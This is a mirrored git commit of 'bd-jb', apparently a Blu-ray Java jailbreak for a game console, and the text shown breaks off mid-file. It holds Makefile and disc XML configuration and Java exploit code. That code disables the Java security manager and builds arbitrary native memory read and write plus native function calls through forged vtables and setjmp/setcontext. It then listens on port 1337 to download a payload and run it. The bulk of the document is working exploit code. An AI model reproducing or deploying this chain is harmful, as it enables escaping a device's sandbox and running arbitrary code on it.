mirror of https://github.com/TheOfficialFloW/bd-jb

commit
8f0a5539e8
37 changed files with 1834 additions and 0 deletions
@ -0,0 +1,8 @@
@@ -0,0 +1,8 @@
|
||||
.idea/ |
||||
tools/ |
||||
lib/ |
||||
disc/CERTIFICATE/id.bdmv |
||||
disc/BDMV/index.bdmv |
||||
disc/BDMV/MovieObject.bdmv |
||||
disc/BDMV/JAR/00000.jar |
||||
disc/BDMV/BDJO/00000.bdjo |
@ -0,0 +1,21 @@
@@ -0,0 +1,21 @@
|
||||
The MIT License (MIT) |
||||
|
||||
Copyright (C) 2021 Andy Nguyen |
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy |
||||
of this software and associated documentation files (the "Software"), to deal |
||||
in the Software without restriction, including without limitation the rights |
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell |
||||
copies of the Software, and to permit persons to whom the Software is |
||||
furnished to do so, subject to the following conditions: |
||||
|
||||
The above copyright notice and this permission notice shall be included in all |
||||
copies or substantial portions of the Software. |
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR |
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, |
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE |
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER |
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, |
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE |
||||
SOFTWARE. |
@ -0,0 +1,34 @@
@@ -0,0 +1,34 @@
|
||||
SRC = \
|
||||
com/bdjb/ExploitXlet.java \
|
||||
com/bdjb/Exploit.java \
|
||||
com/bdjb/ExploitInterface.java \
|
||||
com/bdjb/ExploitUserPrefsImpl.java \
|
||||
com/bdjb/ExploitServiceProxyImpl.java \
|
||||
com/bdjb/IxcProxyImpl.java \
|
||||
com/bdjb/ServiceInterface.java \
|
||||
com/bdjb/ServiceImpl.java \
|
||||
com/bdjb/ProviderAccessorImpl.java \
|
||||
com/bdjb/PayloadClassLoader.java \
|
||||
com/bdjb/Payload.java \
|
||||
com/bdjb/UnsafeInterface.java \
|
||||
com/bdjb/UnsafeJdkImpl.java \
|
||||
com/bdjb/UnsafeSunImpl.java \
|
||||
com/bdjb/API.java \
|
||||
com/bdjb/JIT.java \
|
||||
com/bdjb/Screen.java \
|
||||
|
||||
all: |
||||
javac com/bdjb/PayloadClassLoaderSerializer.java && java com/bdjb/PayloadClassLoaderSerializer
|
||||
javac -source 1.4 -target 1.4 -bootclasspath "lib/rt.jar:lib/bdjstack.jar:lib/fakejdk.jar" $(SRC)
|
||||
jar cf disc/BDMV/JAR/00000.jar com/bdjb/*.class com/bdjb/*.ser com/bdjb/bluray.ExploitXlet.perm
|
||||
java -cp "tools/security.jar:tools/bcprov-jdk15-137.jar:tools/tools.jar" net.java.bd.tools.security.BDSigner disc/BDMV/JAR/00000.jar
|
||||
java -jar tools/bdjo.jar bdmv/bdjo.xml disc/BDMV/BDJO/00000.bdjo
|
||||
java -jar tools/MovieObject.jar bdmv/MovieObject.xml disc/BDMV/MovieObject.bdmv
|
||||
java -jar tools/index.jar bdmv/index.xml disc/BDMV/index.bdmv
|
||||
java -jar tools/id.jar bdmv/id.xml disc/CERTIFICATE/id.bdmv
|
||||
|
||||
clean: |
||||
rm -rf *.class
|
||||
rm -rf com/bdjb/*.class
|
||||
rm -rf com/bdjb/*.ser
|
||||
rm -rf META-INF
|
@ -0,0 +1,7 @@
@@ -0,0 +1,7 @@
|
||||
# bd-jb |
||||
|
||||
The first bd-j hack. |
||||
|
||||
# Credits |
||||
|
||||
- bd-j tools from https://github.com/zathras/java.net |
@ -0,0 +1,29 @@
@@ -0,0 +1,29 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> |
||||
<movieObjectFile> |
||||
<version>0200</version> |
||||
<movieObjects> |
||||
<movieObject mobjId="0"> |
||||
<navigationCommands commandId="0"> |
||||
<command>21810000 00000001 00000000</command> |
||||
</navigationCommands> |
||||
<terminalInfo> |
||||
<menuCallMask>false</menuCallMask> |
||||
<resumeIntentionFlag>false</resumeIntentionFlag> |
||||
<titleSearchMask>false</titleSearchMask> |
||||
</terminalInfo> |
||||
</movieObject> |
||||
<movieObject mobjId="1"> |
||||
<navigationCommands commandId="0"> |
||||
<command>21810000 00000001 00000000</command> |
||||
</navigationCommands> |
||||
<terminalInfo> |
||||
<menuCallMask>false</menuCallMask> |
||||
<resumeIntentionFlag>false</resumeIntentionFlag> |
||||
<titleSearchMask>false</titleSearchMask> |
||||
</terminalInfo> |
||||
</movieObject> |
||||
</movieObjects> |
||||
<extensionData/> |
||||
<paddingsN1>0</paddingsN1> |
||||
<paddingsN2>0</paddingsN2> |
||||
</movieObjectFile> |
@ -0,0 +1,47 @@
@@ -0,0 +1,47 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> |
||||
<bdjo> |
||||
<appCacheInfo> |
||||
<entries> |
||||
<language>*.*</language> |
||||
<name>00000</name> |
||||
<type>1</type> |
||||
</entries> |
||||
</appCacheInfo> |
||||
<applicationManagementTable> |
||||
<applications> |
||||
<applicationDescriptor> |
||||
<baseDirectory>00000</baseDirectory> |
||||
<binding>TITLE_BOUND_DISC_BOUND</binding> |
||||
<classpathExtension></classpathExtension> |
||||
<iconFlags>0x0</iconFlags> |
||||
<iconLocator></iconLocator> |
||||
<initialClassName>com.bdjb.ExploitXlet</initialClassName> |
||||
<priority>128</priority> |
||||
<profiles> |
||||
<majorVersion>1</majorVersion> |
||||
<microVersion>0</microVersion> |
||||
<minorVersion>0</minorVersion> |
||||
<profile>1</profile> |
||||
</profiles> |
||||
<visibility>V_01</visibility> |
||||
</applicationDescriptor> |
||||
<applicationId>0x4000</applicationId> |
||||
<controlCode>0x1</controlCode> |
||||
<organizationId>0x56789abc</organizationId> |
||||
<type>0x1</type> |
||||
</applications> |
||||
</applicationManagementTable> |
||||
<fileAccessInfo>.</fileAccessInfo> |
||||
<keyInterestTable>0x0</keyInterestTable> |
||||
<tableOfAccessiblePlayLists> |
||||
<accessToAllFlag>false</accessToAllFlag> |
||||
<autostartFirstPlayListFlag>false</autostartFirstPlayListFlag> |
||||
</tableOfAccessiblePlayLists> |
||||
<terminalInfo> |
||||
<defaultFontFile>00000</defaultFontFile> |
||||
<initialHaviConfig>HD_1920_1080</initialHaviConfig> |
||||
<menuCallMask>false</menuCallMask> |
||||
<titleSearchMask>false</titleSearchMask> |
||||
</terminalInfo> |
||||
<version>V_0200</version> |
||||
</bdjo> |
@ -0,0 +1,6 @@
@@ -0,0 +1,6 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> |
||||
<id> |
||||
<discId>0x00000000000000000000000000000001</discId> |
||||
<orgId>0x56789abc</orgId> |
||||
<version>0200</version> |
||||
</id> |
@ -0,0 +1,32 @@
@@ -0,0 +1,32 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> |
||||
<index> |
||||
<appInfo/> |
||||
<extensionData/> |
||||
<indexes> |
||||
<firstPlayback> |
||||
<firstPlaybackObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="HDMVIndexObject"> |
||||
<HDMVName>0x0</HDMVName> |
||||
<playbackType>HDMVPlayback_MOVIE</playbackType> |
||||
</firstPlaybackObject> |
||||
</firstPlayback> |
||||
<topMenu> |
||||
<topMenuObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="HDMVIndexObject"> |
||||
<HDMVName>0x1</HDMVName> |
||||
<playbackType>HDMVPlayback_INTERACTIVE</playbackType> |
||||
</topMenuObject> |
||||
</topMenu> |
||||
<titles> |
||||
<title> |
||||
<indexObject xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="BDJIndexObject"> |
||||
<BDJOName>00000</BDJOName> |
||||
<playbackType>BDJPlayback_MOVIE</playbackType> |
||||
</indexObject> |
||||
<titleAccessType>V_00</titleAccessType> |
||||
</title> |
||||
</titles> |
||||
</indexes> |
||||
<paddingN1>0</paddingN1> |
||||
<paddingN2>0</paddingN2> |
||||
<paddingN3>0</paddingN3> |
||||
<version>0200</version> |
||||
</index> |
@ -0,0 +1,569 @@
@@ -0,0 +1,569 @@
|
||||
/* |
||||
* Copyright (C) 2021 Andy Nguyen |
||||
* |
||||
* This software may be modified and distributed under the terms |
||||
* of the MIT license. See the LICENSE file for details. |
||||
*/ |
||||
|
||||
package com.bdjb; |
||||
|
||||
import java.io.ByteArrayOutputStream; |
||||
import java.lang.reflect.Constructor; |
||||
import java.lang.reflect.Field; |
||||
import java.lang.reflect.Method; |
||||
|
||||
/** API class to access native data and execute native code. */ |
||||
final class API { |
||||
static final int INT8_SIZE = 1; |
||||
static final int INT16_SIZE = 2; |
||||
static final int INT32_SIZE = 4; |
||||
static final int INT64_SIZE = 8; |
||||
|
||||
static final long RTLD_DEFAULT = -2; |
||||
|
||||
static final long LIBC_MODULE_HANDLE = 0x2; |
||||
static final long LIBKERNEL_MODULE_HANDLE = 0x2001; |
||||
static final long LIBJAVA_MODULE_HANDLE = 0x4A; |
||||
|
||||
private static final String UNSUPPORTED_DLOPEN_OPERATION_STRING = |
||||
"Unsupported dlopen() operation"; |
||||
|
||||
private static final String SETJMP_SYMBOL = "setjmp"; |
||||
private static final String UX86_64_SETCONTEXT_SYMBOL = "__Ux86_64_setcontext"; |
||||
private static final String JVM_NATIVE_PATH_SYMBOL = "JVM_NativePath"; |
||||
private static final String JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL = |
||||
"Java_java_lang_reflect_Array_multiNewArray"; |
||||
|
||||
private static final String MULTI_NEW_ARRAY_METHOD_NAME = "multiNewArray"; |
||||
private static final String MULTI_NEW_ARRAY_METHOD_SIGNATURE = "(Ljava/lang/Class;[I)J"; |
||||
|
||||
private static final String NATIVE_LIBRARY_CLASS_NAME = "java.lang.ClassLoader$NativeLibrary"; |
||||
private static final String FIND_ENTRY_METHOD_NAME = "findEntry"; |
||||
private static final String FIND_METHOD_NAME = "find"; |
||||
private static final String HANDLE_FIELD_NAME = "handle"; |
||||
|
||||
private static final int[] MULTI_NEW_ARRAY_DIMENSIONS = new int[] {1}; |
||||
|
||||
private static final String VALUE_FIELD_NAME = "value"; |
||||
|
||||
private static final Long LONG_VALUE = new Long(1337); |
||||
|
||||
private static API instance; |
||||
|
||||
private UnsafeInterface unsafe; |
||||
|
||||
private long longValueOffset; |
||||
|
||||
private Object nativeLibrary; |
||||
private Method findMethod; |
||||
private Field handleField; |
||||
|
||||
private long executableHandle; |
||||
|
||||
private long Java_java_lang_reflect_Array_multiNewArray; |
||||
private long JVM_NativePath; |
||||
private long __Ux86_64_setcontext; |
||||
private long setjmp; |
||||
|
||||
private boolean jdk11; |
||||
|
||||
private API() throws Exception { |
||||
this.init(); |
||||
} |
||||
|
||||
static synchronized API getInstance() throws Exception { |
||||
if (instance == null) { |
||||
instance = new API(); |
||||
} |
||||
return instance; |
||||
} |
||||
|
||||
private native long multiNewArray(Class componentType, int[] dimensions); |
||||
|
||||
private void init() throws Exception { |
||||
initUnsafe(); |
||||
initDlsym(); |
||||
initSymbols(); |
||||
initApiCall(); |
||||
} |
||||
|
||||
private void initUnsafe() throws Exception { |
||||
try { |
||||
unsafe = new UnsafeSunImpl(); |
||||
jdk11 = false; |
||||
} catch (ClassNotFoundException e) { |
||||
unsafe = new UnsafeJdkImpl(); |
||||
jdk11 = true; |
||||
} |
||||
|
||||
longValueOffset = unsafe.objectFieldOffset(Long.class.getDeclaredField(VALUE_FIELD_NAME)); |
||||
} |
||||
|
||||
private void initDlsym() throws Exception { |
||||
Class nativeLibraryClass = Class.forName(NATIVE_LIBRARY_CLASS_NAME); |
||||
|
||||
if (jdk11) { |
||||
findMethod = |
||||
nativeLibraryClass.getDeclaredMethod(FIND_ENTRY_METHOD_NAME, new Class[] {String.class}); |
||||
} else { |
||||
findMethod = |
||||
nativeLibraryClass.getDeclaredMethod(FIND_METHOD_NAME, new Class[] {String.class}); |
||||
} |
||||
|
||||
handleField = nativeLibraryClass.getDeclaredField(HANDLE_FIELD_NAME); |
||||
findMethod.setAccessible(true); |
||||
handleField.setAccessible(true); |
||||
|
||||
Constructor nativeLibraryConstructor = |
||||
nativeLibraryClass.getDeclaredConstructor( |
||||
new Class[] {Class.class, String.class, boolean.class}); |
||||
nativeLibraryConstructor.setAccessible(true); |
||||
|
||||
nativeLibrary = |
||||
nativeLibraryConstructor.newInstance(new Object[] {getClass(), "api", new Boolean(true)}); |
||||
} |
||||
|
||||
private void initSymbols() { |
||||
JVM_NativePath = dlsym(RTLD_DEFAULT, JVM_NATIVE_PATH_SYMBOL); |
||||
if (JVM_NativePath == 0) { |
||||
throw new IllegalArgumentException("JVM_NativePath symbol could not be found."); |
||||
} |
||||
|
||||
__Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL); |
||||
|
||||
if (__Ux86_64_setcontext == 0) { |
||||
// In earlier versions, there's a bug where only the main executable's handle is used.
|
||||
executableHandle = JVM_NativePath & ~(4 - 1); |
||||
while (strcmp(executableHandle, UNSUPPORTED_DLOPEN_OPERATION_STRING) != 0) { |
||||
executableHandle += 4; |
||||
} |
||||
executableHandle -= 4; |
||||
|
||||
// Try again.
|
||||
__Ux86_64_setcontext = dlsym(LIBKERNEL_MODULE_HANDLE, UX86_64_SETCONTEXT_SYMBOL); |
||||
} |
||||
|
||||
if (__Ux86_64_setcontext == 0) { |
||||
throw new IllegalArgumentException("__Ux86_64_setcontext symbol could not be found."); |
||||
} |
||||
|
||||
if (jdk11) { |
||||
Java_java_lang_reflect_Array_multiNewArray = |
||||
dlsym(LIBJAVA_MODULE_HANDLE, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL); |
||||
} else { |
||||
Java_java_lang_reflect_Array_multiNewArray = |
||||
dlsym(RTLD_DEFAULT, JAVA_JAVA_LANG_REFLECT_ARRAY_MULTI_NEW_ARRAY_SYMBOL); |
||||
} |
||||
if (Java_java_lang_reflect_Array_multiNewArray == 0) { |
||||
throw new IllegalArgumentException( |
||||
"Java_java_lang_reflect_Array_multiNewArray symbol could not be found."); |
||||
} |
||||
|
||||
setjmp = dlsym(LIBC_MODULE_HANDLE, SETJMP_SYMBOL); |
||||
if (setjmp == 0) { |
||||
throw new IllegalArgumentException("setjmp symbol could not be found."); |
||||
} |
||||
} |
||||
|
||||
private void initApiCall() { |
||||
long apiInstance = addrof(this); |
||||
long apiKlass = read64(apiInstance + 0x08); |
||||
|
||||
if (jdk11) { |
||||
long methods = read64(apiKlass + 0x170); |
||||
int numMethods = read32(methods + 0x00); |
||||
|
||||
for (int i = 0; i < numMethods; i++) { |
||||
long method = read64(methods + 0x08 + i * 8); |
||||
long constMethod = read64(method + 0x08); |
||||
long constants = read64(constMethod + 0x08); |
||||
short nameIndex = read16(constMethod + 0x2A); |
||||
short signatureIndex = read16(constMethod + 0x2C); |
||||
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & ~(2 - 1); |
||||
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & ~(2 - 1); |
||||
short nameLength = read16(nameSymbol + 0x00); |
||||
short signatureLength = read16(signatureSymbol + 0x00); |
||||
|
||||
String name = readString(nameSymbol + 0x06, nameLength); |
||||
String signature = readString(signatureSymbol + 0x06, signatureLength); |
||||
if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME) |
||||
&& signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) { |
||||
write64(method + 0x50, Java_java_lang_reflect_Array_multiNewArray); |
||||
return; |
||||
} |
||||
} |
||||
} else { |
||||
long methods = read64(apiKlass + 0xC8); |
||||
int numMethods = read32(methods + 0x10); |
||||
|
||||
for (int i = 0; i < numMethods; i++) { |
||||
long method = read64(methods + 0x18 + i * 8); |
||||
long constMethod = read64(method + 0x10); |
||||
long constants = read64(method + 0x18); |
||||
short nameIndex = read16(constMethod + 0x42); |
||||
short signatureIndex = read16(constMethod + 0x44); |
||||
long nameSymbol = read64(constants + 0x40 + nameIndex * 8) & ~(2 - 1); |
||||
long signatureSymbol = read64(constants + 0x40 + signatureIndex * 8) & ~(2 - 1); |
||||
short nameLength = read16(nameSymbol + 0x08); |
||||
short signatureLength = read16(signatureSymbol + 0x08); |
||||
|
||||
String name = readString(nameSymbol + 0x0A, nameLength); |
||||
String signature = readString(signatureSymbol + 0x0A, signatureLength); |
||||
if (name.equals(MULTI_NEW_ARRAY_METHOD_NAME) |
||||
&& signature.equals(MULTI_NEW_ARRAY_METHOD_SIGNATURE)) { |
||||
write64(method + 0x78, Java_java_lang_reflect_Array_multiNewArray); |
||||
return; |
||||
} |
||||
} |
||||
} |
||||
|
||||
throw new IllegalArgumentException("Native method could not be installed."); |
||||
} |
||||
|
||||
private void buildContext( |
||||
long contextData, |
||||
long setJmpData, |
||||
long rip, |
||||
long rdi, |
||||
long rsi, |
||||
long rdx, |
||||
long rcx, |
||||
long r8, |
||||
long r9) { |
||||
long rbx = read64(setJmpData + 0x08); |
||||
long rsp = read64(setJmpData + 0x10); |
||||
long rbp = read64(setJmpData + 0x18); |
||||
long r12 = read64(setJmpData + 0x20); |
||||
long r13 = read64(setJmpData + 0x28); |
||||
long r14 = read64(setJmpData + 0x30); |
||||
long r15 = read64(setJmpData + 0x38); |
||||
|
||||
write64(contextData + 0x48, rdi); |
||||
write64(contextData + 0x50, rsi); |
||||
write64(contextData + 0x58, rdx); |
||||
write64(contextData + 0x60, rcx); |
||||
write64(contextData + 0x68, r8); |
||||
write64(contextData + 0x70, r9); |
||||
write64(contextData + 0x80, rbx); |
||||
write64(contextData + 0x88, rbp); |
||||
write64(contextData + 0xA0, r12); |
||||
write64(contextData + 0xA8, r13); |
||||
write64(contextData + 0xB0, r14); |
||||
write64(contextData + 0xB8, r15); |
||||
write64(contextData + 0xE0, rip); |
||||
write64(contextData + 0xF8, rsp); |
||||
|
||||
write64(contextData + 0x110, 0x41414141); |
||||
write64(contextData + 0x118, 0x41414141); |
||||
} |
||||
|
||||
long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) { |
||||
long fakeCallKlass = malloc(0x400); |
||||
memset(fakeCallKlass, 0, 0x400); |
||||
|
||||
long fakeCallKlassVtable = malloc(0x400); |
||||
for (int i = 0; i < 0x400; i += 8) { |
||||
write64(fakeCallKlassVtable + i, JVM_NativePath); |
||||
} |
||||
|
||||
long ret = 0; |
||||
|
||||
if (jdk11) { |
||||
long callClass = addrof(Call.class); |
||||
long callKlass = read64(callClass + 0x98); |
||||
|
||||
write64(fakeCallKlassVtable + 0x158, setjmp); |
||||
write64(fakeCallKlass + 0x00, fakeCallKlassVtable); |
||||
write64(fakeCallKlass + 0x00, fakeCallKlassVtable); |
||||
write64(callClass + 0x98, fakeCallKlass); |
||||
multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS); |
||||
|
||||
buildContext( |
||||
fakeCallKlass + 0x00, fakeCallKlass + 0x00, func, arg0, arg1, arg2, arg3, arg4, arg5); |
||||
|
||||
write64(fakeCallKlassVtable + 0x158, __Ux86_64_setcontext); |
||||
write64(fakeCallKlass + 0x00, fakeCallKlassVtable); |
||||
write64(fakeCallKlass + 0x00, fakeCallKlassVtable); |
||||
write64(callClass + 0x98, fakeCallKlass); |
||||
ret = multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS); |
||||
|
||||
write64(callClass + 0x98, callKlass); |
||||
} else { |
||||
long callClass = addrof(Call.class); |
||||
long callKlass = read64(callClass + 0x68); |
||||
|
||||
write64(fakeCallKlassVtable + 0x230, setjmp); |
||||
write64(fakeCallKlass + 0x10, fakeCallKlassVtable); |
||||
write64(fakeCallKlass + 0x20, fakeCallKlassVtable); |
||||
write64(callClass + 0x68, fakeCallKlass); |
||||
multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS); |
||||
|
||||
buildContext( |
||||
fakeCallKlass + 0x20, fakeCallKlass + 0x20, func, arg0, arg1, arg2, arg3, arg4, arg5); |
||||
|
||||
write64(fakeCallKlassVtable + 0x230, __Ux86_64_setcontext); |
||||
write64(fakeCallKlass + 0x10, fakeCallKlassVtable); |
||||
write64(fakeCallKlass + 0x20, fakeCallKlassVtable); |
||||
write64(callClass + 0x68, fakeCallKlass); |
||||
ret = multiNewArray(Call.class, MULTI_NEW_ARRAY_DIMENSIONS); |
||||
|
||||
write64(callClass + 0x68, callKlass); |
||||
} |
||||
|
||||
free(fakeCallKlassVtable); |
||||
free(fakeCallKlass); |
||||
|
||||
if (ret == 0) { |
||||
return 0; |
||||
} |
||||
|
||||
return read64(ret); |
||||
} |
||||
|
||||
long call(long func, long arg0, long arg1, long arg2, long arg3, long arg4) { |
||||
return call(func, arg0, arg1, arg2, arg3, arg4, (long) 0); |
||||
} |
||||
|
||||
long call(long func, long arg0, long arg1, long arg2, long arg3) { |
||||
return call(func, arg0, arg1, arg2, arg3, (long) 0); |
||||
} |
||||
|
||||
long call(long func, long arg0, long arg1, long arg2) { |
||||
return call(func, arg0, arg1, arg2, (long) 0); |
||||
} |
||||
|
||||
long call(long func, long arg0, long arg1) { |
||||
return call(func, arg0, arg1, (long) 0); |
||||
} |
||||
|
||||
long call(long func, long arg0) { |
||||
return call(func, arg0, (long) 0); |
||||
} |
||||
|
||||
long call(long func) { |
||||
return call(func, (long) 0); |
||||
} |
||||
|
||||
long dlsym(long handle, String symbol) { |
||||
int oldHandle = (int) RTLD_DEFAULT; |
||||
try { |
||||
if (executableHandle != 0) { |
||||
// In earlier versions, there's a bug where only the main executable's handle is used.
|
||||
oldHandle = read32(executableHandle); |
||||
write32(executableHandle, (int) handle); |
||||
handleField.setLong(nativeLibrary, RTLD_DEFAULT); |
||||
} else { |
||||
handleField.setLong(nativeLibrary, handle); |
||||
} |
||||
return ((Long) findMethod.invoke(nativeLibrary, new Object[] {symbol})).longValue(); |
||||
} catch (Exception e) { |
||||
return 0; |
||||
} finally { |
||||
if (executableHandle != 0) { |
||||
write32(executableHandle, oldHandle); |
||||
} |
||||
} |
||||
} |
||||
|
||||
long addrof(Object obj) { |
||||
try { |
||||
unsafe.putObject(LONG_VALUE, longValueOffset, obj); |
||||
return unsafe.getLong(LONG_VALUE, longValueOffset); |
||||
} catch (Exception e) { |
||||
return 0; |
||||
} |
||||
} |
||||
|
||||
byte read8(long addr) { |
||||
return unsafe.getByte(addr); |
||||
} |
||||
|
||||
short read16(long addr) { |
||||
return unsafe.getShort(addr); |
||||
} |
||||
|
||||
int read32(long addr) { |
||||
return unsafe.getInt(addr); |
||||
} |
||||
|
||||
long read64(long addr) { |
||||
return unsafe.getLong(addr); |
||||
} |
||||
|
||||
void write8(long addr, byte val) { |
||||
unsafe.putByte(addr, val); |
||||
} |
||||
|
||||
void write16(long addr, short val) { |
||||
unsafe.putShort(addr, val); |
||||
} |
||||
|
||||
void write32(long addr, int val) { |
||||
unsafe.putInt(addr, val); |
||||
} |
||||
|
||||
void write64(long addr, long val) { |
||||
unsafe.putLong(addr, val); |
||||
} |
||||
|
||||
long malloc(long size) { |
||||
return unsafe.allocateMemory(size); |
||||
} |
||||
|
||||
long realloc(long ptr, long size) { |
||||
return unsafe.reallocateMemory(ptr, size); |
||||
} |
||||
|
||||
void free(long ptr) { |
||||
unsafe.freeMemory(ptr); |
||||
} |
||||
|
||||
long memcpy(long dest, long src, long n) { |
||||
for (int i = 0; i < n; i++) { |
||||
write8(dest + i, read8(src + i)); |
||||
} |
||||
return dest; |
||||
} |
||||
|
||||
long memcpy(long dest, byte[] src, long n) { |
||||
for (int i = 0; i < n; i++) { |
||||
write8(dest + i, src[i]); |
||||
} |
||||
return dest; |
||||
} |
||||
|
||||
byte[] memcpy(byte[] dest, long src, long n) { |
||||
for (int i = 0; i < n; i++) { |
||||
dest[i] = read8(src + i); |
||||
} |
||||
return dest; |
||||
} |
||||
|
||||
long memset(long s, int c, long n) { |
||||
for (int i = 0; i < n; i++) { |
||||
write8(s + i, (byte) c); |
||||
} |
||||
return s; |
||||
} |
||||
|
||||
byte[] memset(byte[] s, int c, long n) { |
||||
for (int i = 0; i < n; i++) { |
||||
s[i] = (byte) c; |
||||
} |
||||
return s; |
||||
} |
||||
|
||||
int memcmp(long s1, long s2, long n) { |
||||
for (int i = 0; i < n; i++) { |
||||
byte b1 = read8(s1 + i); |
||||
byte b2 = read8(s2 + i); |
||||
if (b1 != b2) { |
||||
return (int) b1 - (int) b2; |
||||
} |
||||
} |
||||
return 0; |
||||
} |
||||
|
||||
int memcmp(long s1, byte[] s2, long n) { |
||||
for (int i = 0; i < n; i++) { |
||||
byte b1 = read8(s1 + i); |
||||
byte b2 = s2[i]; |
||||
if (b1 != b2) { |
||||
return (int) b1 - (int) b2; |
||||
} |
||||
} |
||||
return 0; |
||||
} |
||||
|
||||
int memcmp(byte[] s1, long s2, long n) { |
||||
return memcmp(s2, s1, n); |
||||
} |
||||
|
||||
int strcmp(long s1, long s2) { |
||||
int i = 0; |
||||
while (true) { |
||||
byte b1 = read8(s1 + i); |
||||
byte b2 = read8(s2 + i); |
||||
if (b1 != b2) { |
||||
return (int) b1 - (int) b2; |
||||
} |
||||
if (b1 == (byte) 0 && b2 == (byte) 0) { |
||||
return 0; |
||||
} |
||||
i++; |
||||
} |
||||
} |
||||
|
||||
int strcmp(long s1, String s2) { |
||||
byte[] bytes = toCBytes(s2); |
||||
int i = 0; |
||||
while (true) { |
||||
byte b1 = read8(s1 + i); |
||||
byte b2 = bytes[i]; |
||||
if (b1 != b2) { |
||||
return (int) b1 - (int) b2; |
||||
} |
||||
if (b1 == (byte) 0 && b2 == (byte) 0) { |
||||
return 0; |
||||
} |
||||
i++; |
||||
} |
||||
} |
||||
|
||||
int strcmp(String s1, long s2) { |
||||
return strcmp(s2, s1); |
||||
} |
||||
|
||||
long strcpy(long dest, long src) { |
||||
int i = 0; |
||||
while (true) { |
||||
byte ch = read8(src + i); |
||||
write8(dest + i, ch); |
||||
if (ch == (byte) 0) { |
||||
break; |
||||
} |
||||
i++; |
||||
} |
||||
return dest; |
||||
} |
||||
|
||||
long strcpy(long dest, String src) { |
||||
byte[] bytes = toCBytes(src); |
||||
int i = 0; |
||||
while (true) { |
||||
byte ch = bytes[i]; |
||||
write8(dest + i, ch); |
||||
if (ch == (byte) 0) { |
||||
break; |
||||
} |
||||
i++; |
||||
} |
||||
return dest; |
||||
} |
||||
|
||||
String readString(long src, int n) { |
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); |
||||
int i = 0; |
||||
while (true) { |
||||
byte ch = read8(src + i); |
||||
if (ch == (byte) 0 || i == n) { |
||||
break; |
||||
} |
||||
outputStream.write(new byte[] {ch}, 0, 1); |
||||
i++; |
||||
} |
||||
return outputStream.toString(); |
||||
} |
||||
|
||||
String readString(long src) { |
||||
return readString(src, -1); |
||||
} |
||||
|
||||
byte[] toCBytes(String str) { |
||||
byte[] bytes = new byte[str.length() + 1]; |
||||
System.arraycopy(str.getBytes(), 0, bytes, 0, str.length()); |
||||
return bytes; |
||||
} |
||||
|
||||
private final class Call {} |
||||
} |
@ -0,0 +1,87 @@
@@ -0,0 +1,87 @@
|
||||
/* |
||||
* Copyright (C) 2021 Andy Nguyen |
||||
* |
||||
* This software may be modified and distributed under the terms |
||||
* of the MIT license. See the LICENSE file for details. |
||||
*/ |
||||
|
||||
package com.bdjb; |
||||
|
||||
import java.io.FileOutputStream; |
||||
import java.io.InputStream; |
||||
import java.io.OutputStream; |
||||
import java.net.Socket; |
||||
import java.net.ServerSocket; |
||||
|
||||
class Exploit implements Runnable { |
||||
static void init() { |
||||
Screen.println("[+] bd-jb by theflow"); |
||||
|
||||
Screen.println("[*] Disabling security manager..."); |
||||
|
||||
ExploitInterface[] exploits = |
||||
new ExploitInterface[] {new ExploitUserPrefsImpl(), new ExploitServiceProxyImpl()}; |
||||
|
||||
for (int i = 0; i < exploits.length; i++) { |
||||
try { |
||||
exploits[i].trigger(); |
||||
if (System.getSecurityManager() == null) { |
||||
break; |
||||
} |
||||
} catch (Exception e) { |
||||
continue; |
||||
} |
||||
} |
||||
|
||||
if (System.getSecurityManager() != null) { |
||||
Screen.println("[-] Error could not disable security manager."); |
||||
} |
||||
} |
||||
|
||||
static void start() { |
||||
new Thread(new Exploit()).start(); |
||||
} |
||||
|
||||
public void run() { |
||||
if (System.getSecurityManager() != null) { |
||||
return; |
||||
} |
||||
|
||||
try { |
||||
Screen.println("[*] Installing native API..."); |
||||
API api = API.getInstance(); |
||||
|
||||
Screen.println("[*] Enabling JIT..."); |
||||
JIT jit = JIT.getInstance(); |
||||
|
||||
Screen.println("[*] Waiting for payload..."); |
||||
|
||||
ServerSocket serverSocket = new ServerSocket(1337); |
||||
Socket socket = serverSocket.accept(); |
||||
|
||||
Screen.println("[*] Downloading payload..."); |
||||
|
||||
InputStream inputStream = socket.getInputStream(); |
||||
OutputStream outputStream = new FileOutputStream("/OS/HDD/download0/mnt_ada/payload.bin"); |
||||
|
||||
byte[] buf = new byte[8192]; |
||||
int read; |
||||
while ((read = inputStream.read(buf)) > 0) { |
||||
outputStream.write(buf, 0, read); |
||||
} |
||||
|
||||
outputStream.close(); |
||||
inputStream.close(); |
||||
|
||||
socket.close(); |
||||
|
||||
Screen.println("[*] Executing payload..."); |
||||
